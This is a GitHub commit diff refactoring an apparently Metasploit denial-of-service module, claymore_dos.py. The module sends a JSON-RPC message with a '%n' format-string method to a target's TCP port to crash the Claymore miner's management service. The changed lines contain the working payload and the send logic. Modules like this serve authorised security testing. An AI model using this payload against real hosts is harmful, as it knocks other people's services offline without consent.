Skip to content

Commit 0abee03

Browse files
authored
add change
1 parent 278e9a9 commit 0abee03

File tree

1 file changed

+3
-4
lines changed

1 file changed

+3
-4
lines changed

modules/auxiliary/dos/tcp/claymore_dos.py

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -41,11 +41,10 @@ def run(args):
4141
port = int(args['rport'])
4242
module.log("Creating sockets...", 'info')
4343

44-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45-
exp = '''{"id": 1,"jsonrpc": "1.0","method": "%n"}'''
44+
exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode()
4645
try:
47-
s.connect((host, port))
48-
s.send(bytes(exp,'utf-8'))
46+
s = socket.create_connection((host, port), 10)
47+
s.send(exp)
4948
s.close()
5049
except socket.error:
5150
module.log("connect error exit")

0 commit comments

Comments
 (0)